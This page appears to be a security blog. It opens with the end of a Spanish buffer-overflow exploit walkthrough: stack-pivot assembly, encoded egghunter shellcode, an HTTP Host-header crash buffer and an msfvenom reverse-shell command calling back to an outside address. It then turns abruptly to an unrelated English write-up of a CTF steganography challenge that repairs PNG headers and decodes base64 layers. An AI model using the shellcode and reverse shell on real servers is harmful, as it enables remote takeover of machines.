Pero antes de continuar, delante de este código tenemos que poner el código para aumentar el ESP y llevarlo al final del buffer, para que sea ahí donde se descodifique el "egghunter" y se ejecute cuando el EIP llegue a esa parte de la pila. Vamos a calcular añadir 220 (0xdc) bytes al ESP, siendo este el código ensamblador que vamos a usar (recordar que en el momento del "crash" [ESP]=EIP):

5B               POP EBX                                 
53               PUSH EBX
2D 017F7F7F      SUB EAX,0x7f7f7f01
2D 01090909      SUB EAX,0x09090901
2D 22777777      SUB EAX,0x77777722
030424           ADD EAX,DWORD PTR SS:[ESP]
50               PUSH EAX
5C               POP ESP

Este código que ocupa 22 bytes lo ponemos delante del egghunter y tenemos un total de 168 bytes:

#168 bytes
egghunt = "\x5B\x53\x2D\x01\x7F\x7F\x7F\x2D\x01\x09\x09\x09\x2D\x22\x77\x77\x77\x03\x04\x24\x50\x5C\x25\x31\x31\x31\x31\x25\x4E\x4E\x4E\x4E\x2D\x1A\x01\x7F\x01\x2D\x03\x02\x0B\x01\x2D\x6E\x15\x76\x15\x50\x25\x31\x31\x31\x31\x25\x4E\x4E\x4E\x4E\x2D\x01\x0B\x05\x02\x2D\x50\x7F\x10\x4E\x50\x25\x31\x31\x31\x31\x25\x4E\x4E\x4E\x4E\x2D\x6A\x43\x04\x02\x2D\x66\x65\x72\x26\x50\x25\x31\x31\x31\x31\x25\x4E\x4E\x4E\x4E\x2D\x01\x02\x42\x52\x2D\x10\x45\x69\x7D\x50\x68\x3C\x05\x5A\x74\x25\x31\x31\x31\x31\x25\x4E\x4E\x4E\x4E\x2D\x7F\x43\x02\x7C\x2D\x7F\x64\x30\x55\x50\x68\x0F\x42\x52\x6A\x25\x31\x31\x31\x31\x25\x4E\x4E\x4E\x4E\x2D\x21\x6E\x01\x7F\x2D\x02\x01\x04\x5A\x2D\x77\x0F\x30\x27\x50"

Este sería el buffer "crash" hechas las modificaciones:

crash = "A" * 3307 + "\x77\x04" + "\x7d\x39\x6e\x6d" + egghunt +  "C" * 38

Y ahora nos queda para meter en otra parte de la memoria el chunk2 (361 bytes) con nuestro reverse_shell y la palabra clave de nuestro "egghunter": T00WT00W. Teniendo en cuenta que en esta parte de la memoria no está limitada por la restrición de caracteres válidos, la reverse_shell ocupa 324 bytes. Y la palabra para encontrar el "egghunter" son 8 bytes, lo que hace un total de 332 bytes.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.104 LPORT=443 -a x86 --platform windows -f python
#Payload size: 324 bytes

Por lo tanto nos va a sobrar espacio para inyectar nuestro shellcode al final del buffer:

buffer="GET /topology/home HTTP/1.1\r\n"
buffer+="Host: " + crash + "\r\n"
buffer+="User-Agent: Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0\r\n"
buffer+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer+="Connection: keep-alive\r\n\r\n"
buffer+="T00WT00W" + buf + "\xcc" * 29

Probamos el exploit y aquí está otra vez nuestra flamante shell:

Resumiendo un poco, en la solución 1 hemos demostrado que es más práctico hacer un salto hacia atrás usando sólo 8 bytes para codificar el "encoder" que hacerlo con el "egghunter" de 32 bytes. Y con la solución 2 hemos visto que hay espacio suficiente para que entre el "egghunter" codificado, eso sí, siempre y cuando se haga manualmente y no con el script alpha_num_encoder que utiliza "greyshell" el cual genera un mayor número de bytes (con el mio modificado tampoco se ahorra espacio en este caso).

Ahora dejad de mirar la pantalla y mirad a cualquier otro lado, si veis números en hexadecimal se ha cumplido el objetivo :-)

Fwhibbit CTF 2017 - Rising Research


Rising Research (200 pts)
CTF: Fwhibbit CTF 2017
URL: https://ctf.followthewhiterabbit.es/
CAT: forensics

Points: 200
Country: Thailand

Attachment: https://mega.nz/#!I5kRCJqA!xSaCEtbljgBpOE8q6C3OmhK_Yyxe62BdiNwBBaKEM7o

Description: An infiltrated russian spy has sent us a file that indicates the name of a Doctor of great relevance in the advanced projects on Artificial Intelligence (IA). According to an intelligence report, we should omit the place where the information leak occurred: the Massachusetts Institute of Technology.


Hint (-75 points)

The magic numbers are very helpful as is the ASCII code of the PNG images.
There is a clue in the course of the resolution of the challenge, observing in the ASCII code. This steganography must be applied.


(1) ANALYSIS OF THE FILES WITH AN HEXADECIMAL EDITOR

Once decompressed, the provided attachment contains the following 25 PNG files:

$ ls -al *.png
-rw-r--r-- 1 sn4fu sn4fu  278335 Feb 18 17:18 20161107_odhgos_mh_sexistikhs_glwssas(2).png
-rw-r--r-- 1 sn4fu sn4fu  266969 Feb 18 17:20 20161109_logoCenter_1140x670.png
-rw-r--r-- 1 sn4fu sn4fu 1249243 Feb 18 17:14 4DO1rnQ83ny.png
-rw-r--r-- 1 sn4fu sn4fu  227173 Feb 18 17:22 blog-highlights-ellucian-wt-bogota.png
-rw-r--r-- 1 sn4fu sn4fu  386597 Feb 18 17:24 Cookies.png
-rw-r--r-- 1 sn4fu sn4fu  355155 Feb 18 17:26 Cover-18.png
-rw-r--r-- 1 sn4fu sn4fu  539250 Feb 18 17:27 Dailymotion_PS4App-DMBlue.png
-rw-r--r-- 1 sn4fu sn4fu   18224 Feb 18 17:28 default-image.png
-rw-r--r-- 1 sn4fu sn4fu  294444 Feb 18 17:29 facebook.png
-rw-r--r-- 1 sn4fu sn4fu 1304979 Feb 18 17:30 fb-og.png
-rw-r--r-- 1 sn4fu sn4fu   26640 Feb 18 17:37 freddie.png
-rw-r--r-- 1 sn4fu sn4fu   23975 Feb 18 17:39 github-mark.png
-rw-r--r-- 1 sn4fu sn4fu   40558 Feb 18 17:42 Image.png
-rw-r--r-- 1 sn4fu sn4fu  137214 Feb 18 17:45 kt_home_member-min.png
-rw-r--r-- 1 sn4fu sn4fu   11769 Feb 18 17:47 lc-og@2x.png
-rw-r--r-- 1 sn4fu sn4fu   23563 Feb 18 17:48 newTsol_logo_socmedia.png
-rw-r--r-- 1 sn4fu sn4fu   42858 Feb 18 17:49 obywatel-opengraph.png
-rw-r--r-- 1 sn4fu sn4fu  587575 Feb 18 19:10 og-image-cc.png
-rw-r--r-- 1 sn4fu sn4fu   11033 Feb 18 19:10 og-image.png
-rw-r--r-- 1 sn4fu sn4fu  794269 Feb 18 19:11 report05.png
-rw-r--r-- 1 sn4fu sn4fu   45252 Feb 18 19:21 snworks-logo-facebook.png
-rw-r--r-- 1 sn4fu sn4fu   37488 Feb 18 19:21 study-logo-og-new.png
-rw-r--r-- 1 sn4fu sn4fu  427313 Feb 18 19:22 ucal-fb-image.png
-rw-r--r-- 1 sn4fu sn4fu  136805 Feb 18 19:23 v2-frontpage-fb.png
-rw-r--r-- 1 sn4fu sn4fu  114093 Feb 18 19:23 zte-grand-s-ext.png

But unfortunately we are not able to display any of them. As we can see using an hex editor, the headers seem to be corrupted because there is no trace of the PNG magic numbers before the iHDR chunk on each file. The magic numbers have been overwritten with other strings. Checking all the files in alphabetical order reveals the following:

20161107_odhgos_mh_sexistikhs_glwssas\(2\).png
00000000   E3 55 45 44  56 45 53 53  00 00 00 0D  49 48 44 52  00 00 04 74  00 00 02 9E  .UEDVESS....IHDR...t....

20161109_logoCenter_1140x670.png
00000000   41 51 55 49  20 45 53 54  00 00 00 0D  49 48 44 52  00 00 04 72  00 00 02 9D  AQUI EST....IHDR...r....

4DO1rnQ83ny.png
00000000   34 38 43 56  12 67 32 87  00 00 00 0D  49 48 44 52  00 00 04 B0  00 00 02 76  48CV.g2.....IHDR.......v

blog-highlights-ellucian-wt-bogota.png
00000000   45 53 54 41  20 4C 41 0A  00 00 00 0D  49 48 44 52  00 00 04 B1  00 00 02 77  ESTA LA.....IHDR.......w

Cookies.png
00000000   66 6C 61 67  7B 33 73 74  49 48 44 52  00 00 04 B0  00 00 02 76  08 06 00 00  flag{3stIHDR.......v....

Cover-18.png
00000000   34 73 5F 67  75 34 70 30  00 00 00 0D  49 48 44 52  00 00 04 38  00 00 02 D0  4s_gu4p0....IHDR...8....

Dailymotion_PS4App-DMBlue.png
00000000   5F 71 75 33  5F 33 73 74  00 00 00 0D  49 48 44 52  00 00 04 B0  00 00 02 76  _qu3_3st....IHDR.......v

default-image.png
00000000   34 5F 33 73  5F 6C 34 5F  00 00 00 0D  49 48 44 52  00 00 04 B0  00 00 02 76  4_3s_l4_....IHDR.......v

facebook.png
00000000   66 6C 34 67  5F 74 72 79  00 00 00 0D  49 48 44 52  00 00 04 B0  00 00 02 76  fl4g_try....IHDR.......v

fb-og.png
00000000   5F 68 34 72  64 33 72 7D  00 00 00 0D  49 48 44 52  00 00 04 B0  00 00 02 76  _h4rd3r}....IHDR.......v

If we merge all the ASCII strings at the beginning of each file, we get the following fake flag:

flag{3st4s_gu4p0_qu3_3st4_3s_l4_fl4g_try_h4rd3r}

Now we follow on with the remaining files:

freddie.png
00000000   5A 6E 64 6F  61 57 4A 69  00 00 00 0D  49 48 44 52  00 00 04 B0  00 00 02 76  ZndoaWJi....IHDR.......v

github-mark.png
00000000   61 58 52 37  59 6A 52 7A  00 00 00 0D  49 48 44 52  00 00 04 B0  00 00 02 76  aXR7YjRz....IHDR.......v

Image.png
00000000   4D 7A 59 30  58 32 4A 31  00 00 00 0D  49 48 44 52  00 00 04 B0  00 00 02 76  MzY0X2J1....IHDR.......v

kt_home_member-min.png
00000000   4D 32 35 66  61 57 35 30  00 00 00 0D  49 48 44 52  00 00 03 E8  00 00 03 11  M25faW50....IHDR........

lc-og@2x.png
00000000   4D 32 35 30  4D 46 39 30  00 00 00 0D  49 48 44 52  00 00 04 B0  00 00 02 76  M250MF90....IHDR.......v

newTsol_logo_socmedia.png
00000000   63 6E 6C 66  61 44 52 79  00 00 00 0D  49 48 44 52  00 00 04 B0  00 00 02 76  cnlfaDRy....IHDR.......v

obywatel-opengraph.png
00000000   5A 44 4E 79  66 51 3D 3D  00 00 00 0D  49 48 44 52  00 00 04 B0  00 00 02 76  ZDNyfQ==....IHDR.......v

The same procedure reveals a base64 string:

ZndoaWJiaXR7YjRzMzY0X2J1M25faW50M250MF90cnlfaDRyZDNyfQ==

Once decoded, we get a new fake flag:

$ echo ZndoaWJiaXR7YjRzMzY0X2J1M25faW50M250MF90cnlfaDRyZDNyfQ== | base64 --decode
fwhibbit{b4s364_bu3n_int3nt0_try_h4rd3r}

There are still more files which we examine using the hex editor:

og-image-cc.png
00000000   2E 2E 6A 67  2E 2E 67 2E  00 00 00 0D  49 48 44 52  00 00 04 B0  00 00 02 76  ..jg..g.....IHDR.......v

og-image.png
00000000   2E 2E 2E 2E  2E 67 2E 2E  00 00 00 0D  49 48 44 52  00 00 04 B0  00 00 02 76  .....g......IHDR.......v

report05.png
00000000   68 2E 2E 6E  74 2E 2E 2E  00 00 00 0D  49 48 44 52  00 00 04 B0  00 00 02 76  h..nt.......IHDR.......v

snworks-logo-facebook.png
00000000   2E 2E 2E 79  65 2E 61 68  00 00 00 0D  49 48 44 52  00 00 04 B0  00 00 02 76  ...ye.ah....IHDR.......v

The last one contains a string of interest, which we will examine later:

TWUgZW5jYW50YSBsYSBJQSwgcmZnaHF2bnFiIHJhIHBueXZzYmVhdm4==

And now the last files, which do not reveal anything interesting:

study-logo-og-new.png
00000000   2E 76 62 67  6E 2E 2E 2E  00 00 00 0D  49 48 44 52  00 00 04 B0  00 00 02 76  .vbgn.......IHDR.......v

ucal-fb-image.png
00000000   2E 6E 67 47  66 6E 2C 2E  00 00 00 0D  49 48 44 52  00 00 04 B0  00 00 02 76  .ngGfn,.....IHDR.......v

v2-frontpage-fb.png
00000000   2E 2E 2E 79  67 66 64 6A  00 00 00 0D  49 48 44 52  00 00 04 B0  00 00 02 76  ...ygfdj....IHDR.......v

zte-grand-s-ext.png
00000000   2E 2E 6A 2E  39 2E 35 34  00 00 00 0D  49 48 44 52  00 00 03 37  00 00 01 80  ..j.9.54....IHDR...7....

We decode the base64 string found in the 'snworks-logo-facebook.png' file:

$ echo TWUgZW5jYW50YSBsYSBJQSwgcmZnaHF2bnFiIHJhIHBueXZzYmVhdm4== | base64 --decode
Me encanta la IA, rfghqvnqb ra pnyvsbeavn

After some investigations, we conclude that the second part of the decoded string 'rfghqvnqb ra pnyvsbeavn' is cyphered using a simple ROT13 cypher. Decyphering it is easy:

$ echo "rfghqvnqb ra pnyvsbeavn" | tr '[A-Za-z]' '[N-ZA-Mn-za-m]'
estudiado en california

So it seems that we found a hint:
Me encanta la IA, estudiado en california


(2) REBUILDING THE PNG FILES

The next step was rebuilding the PNG files in order to be able to display them and look for more information. The magic number of a PNG file is '89 50 4e 47 0d 0a 1a 0a' and we can easily see that its length is just the amount of bytes overwritten on each file. In order to restore the magic numbers in all the PNG files we use the following script:

#!/bin/bash

for file in /home/sn4fu/CTF/fwhibbit/forensics/rising_research/tmp/*
do
  printf '\x89\x50\x4e\x47\x0d\x0a\x1a\x0a' | dd conv=notrunc of=$file  bs=1
done

However, after the restoration process and using the 'pngcheck' tool we see that there are still 3 files with errors:

$ pngcheck 4DO1rnQ83ny.png 
4DO1rnQ83ny.png:  invalid chunk name "BAT#" (42 41 54 23)
ERROR: 4DO1rnQ83ny.png

$ pngcheck Cookies.png 
Cookies.png:  invalid chunk name "" (00 00 04 ffffffb0)
ERROR: Cookies.png

$ pngcheck snworks-logo-facebook.png 
snworks-logo-facebook.png  CRC error in chunk IDAT (computed 23e5ddc7, expected f1779cd6)
ERROR: snworks-logo-facebook.png

Examining in more detail 'Cookies.png' and comparing it with other successfully restored files, we see that it has a slightly different structure:

Cookies.png
00000000   89 50 4E 47  0D 0A 1A 0A  49 48 44 52  00 00 04 B0  00 00 02 76  08 06 00 00  flag{3stIHDR.......v....

Cover-18.png
00000000   89 50 4E 47  0D 0A 1A 0A  00 00 00 

Using the HxD hexadecimal editor in Windows, we insert the hex values '00 00 00' before '49 48 44 52'. The image is repaired but once displayed it does not reveal anything interesting.

Examining the file '4DO1rnQ83ny.png', we see that there is no iEND chunk at the end of the file. This chunk is compulsory for PNG files. The file contains the following strings at the end:

00130FC4   00 03 00 B4  84 8B 14 AA  EB 36 24 00  00 00 00 42  41 54 23 AE  42 60 82                  .........6$....BAT#.B`.

Using our hex editor, we overwrite 'BAT#' with 'IEND' and the image is repaired, but again we don't see anything of interest.

And finally, as we saw with 'pngcheck' the file 'snworks-logo-facebook.png' contains a CRC error in an iDAT chunk:

0000B0A4   40 08 00 00  00 00 08 D3  FF 2F C0 00  07 E0 DB 27  F1 77 9C D6  00 00 00 00  49 45 4E 44  @......../.....'.w......IEND

We overwrite the wrong CRC 'f1779cd6' with the expected one '23e5ddc7' and we are able to display the file. Nothing interesting.


(3) HOMING THE MISSILE

At this point, lots of stego tools were used against all the PNG files, to no avail. But then if we read again the hint we got from the decoded base64 string:

'Me encanta la IA, estudiado en california'

We see that there is precisely a file 'ucal-fb-image.png' that once displayed shows an University of California logo. If we zoom in the file, on the bottom left part we can see what it seems to be a part of an string. Using a contrast filter with the image reveals the following hidden hex string:

d3 b6 44 d4 55 65 65 26 75 86 13 45 94 07 03 25 96 93 d6 35 55 46 13 25 75 07 85 65 65 07 65 26 55 07 84 d4 27 07 13 35 f6 65 64 65 33 25 44 d4 35 53 54 46 85 93 03 25 b4 13 75 a5 35 07 54 25 85 a5 44 26 27 a4 d6 75 35 53 75 55 87 07 55
26 16 25 a6 35 55 25 13 d4 a4 a5 03 65 f6 87 75 26 45 86 c6 25 97 94 23 16 13 03 23 65

If we try to decode the hex string to ASCII, we just get rubbish and lots of non-printable characters.

In order to decode the string, we tried other techniques as well, to no avail:

  • Converting the file to binary and trying to carve possible hidden files within it.
  • Using the 'xortool' tool to try to determine possible simple stream cyphers and key lengths.
  • Decomposing the string in adequate length substrings and performing mask attacks against each one of them, considering them as hashes.

In the end, we decided just to reverse the string:

$ echo "d3b644d45565652675861345940703259693d635554613257507856565076526550784d427071335f6656465332544d43553544685930325b41375a53507542585a5442627a4d67535537555870755261625a635552513d4a4a50365f68775264586c6259794231613032365" | rev
5632303161324979526c68546257786f56305a4a4d315255536a52616255707855573553576d4a7262445a58524570535a57314b52303958644535534d4452335646566f533170724d487055625670565658705752316455536d39695230704954316857625656554d446b3d

And tried to decode it from hex to ASCII using Python, this time successfully:

>>> print '5632303161324979526c68546257786f56305a4a4d315255536a52616255707855573553576d4a7262445a58524570535a57314b52303958644535534d4452335646566f533170724d487055625670565658705752316455536d39695230704954316857625656554d446b3d'.decode("hex")
V201a2IyRlhTbWxoV0ZJM1RUSjRabUpxUW5SWmJrbDZXREpSZW1KR09XdE5SMDR3VFVoS1prMHpUbVpVVXpWR1dUSm9iR0pIT1hWbVVUMDk=

It looks clearly as a base64 string, so we try to decode it:

$ echo V201a2IyRlhTbWxoV0ZJM1RUSjRabUpxUW5SWmJrbDZXREpSZW1KR09XdE5SMDR3VFVoS1prMHpUbVpVVXpWR1dUSm9iR0pIT1hWbVVUMDk= | base64 --decode
Wm5kb2FXSmlhWFI3TTJ4ZmJqQnRZbkl6WDJRemJGOWtNR04wTUhKZk0zTmZUUzVGWTJobGJHOXVmUT09

We get what it seems to be a new base64 string. Due to the fact that recursive encoding seems to be in place, we used the following script in order to recursively decode in base64 looking for a 'fwh' string on each iteration, which is our flag format:

#!/bin/bash 
#
# base64_recursive_decoder
#
# Rev.20170111
# by sn4fu 
#

exec 2>/dev/null

if [[ $# -eq 0 ]] ; then
   echo 'Decodifica recursivamente un fichero de texto msg.txt en base64, buscando una cadena de texto.'
   echo 'Uso: ./base64_recursive_decoder <iteraciones> <cadena>'
   exit 0
fi

cp msg.txt 1.txt

for ((i=1; i<=$(($1 - 1)); i++)); do
   cat $i.txt | base64 -d > $(($i + 1)).txt
   if grep -r $2 $(($i + 1)).txt; then
      printf "\nCadena encontrada en la Iteracion $i\n"
      rm $i.txt $(($i + 1)).txt
      exit 0
   else 
      rm $i.txt
      a=$((i+1))
   fi
done

rm $a.txt

Once executed, the script reveals that base64 encoding was used 3 times:

./base64_recursive_decoder.sh 100 fwh

fwhibbit{3l_n0mbr3_d3l_d0ct0r_3s_M.Echelon}

Cadena encontrada en la Iteracion 3

Our flag is:

fwhibbit{3l_n0mbr3_d3l_d0ct0r_3s_M.Echelon}